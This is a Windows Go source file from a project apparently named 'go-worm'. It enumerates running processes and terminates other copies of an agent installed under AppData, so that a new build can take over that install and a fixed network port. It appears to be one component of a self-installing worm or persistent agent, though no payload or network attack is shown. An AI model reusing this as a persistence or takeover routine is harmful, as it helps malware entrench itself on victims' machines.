//go:build windows package instance import ( "os" "path/filepath" "unsafe" "golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/config" ) // KillOtherAgents terminates other win64_mp processes so this build can // replace the AppData install and bind 5032. Skips this PID. func KillOtherAgents() error { self := uint32(os.Getpid()) selfPath, err := os.Executable() if err == nil { selfPath, _ = filepath.Abs(selfPath) } installed, err := config.InstalledExe() if err == nil { installed, _ = filepath.Abs(installed) } snap, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0) if err != nil { return err } defer windows.CloseHandle(snap) var pe windows.ProcessEntry32 pe.Size = uint32(unsafe.Sizeof(pe)) if err := windows.Process32First(snap, &pe); err != nil { return err } for { exeName := windows.UTF16ToString(pe.ExeFile[:]) image := processImage(pe.ProcessID) if shouldKill(self, pe.ProcessID, selfPath, image, installed, exeName) { _ = terminatePID(pe.ProcessID) } if err := windows.Process32Next(snap, &pe); err != nil { break } } return nil } func processImage(pid uint32) string { h, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, pid) if err != nil { return "" } defer windows.CloseHandle(h) var buf [1024]uint16 n := uint32(len(buf)) if err := windows.QueryFullProcessImageName(h, 0, &buf[0], &n); err != nil { return "" } return windows.UTF16ToString(buf[:n]) } func terminatePID(pid uint32) error { h, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, pid) if err != nil { return err } defer windows.CloseHandle(h) return windows.TerminateProcess(h, 1) }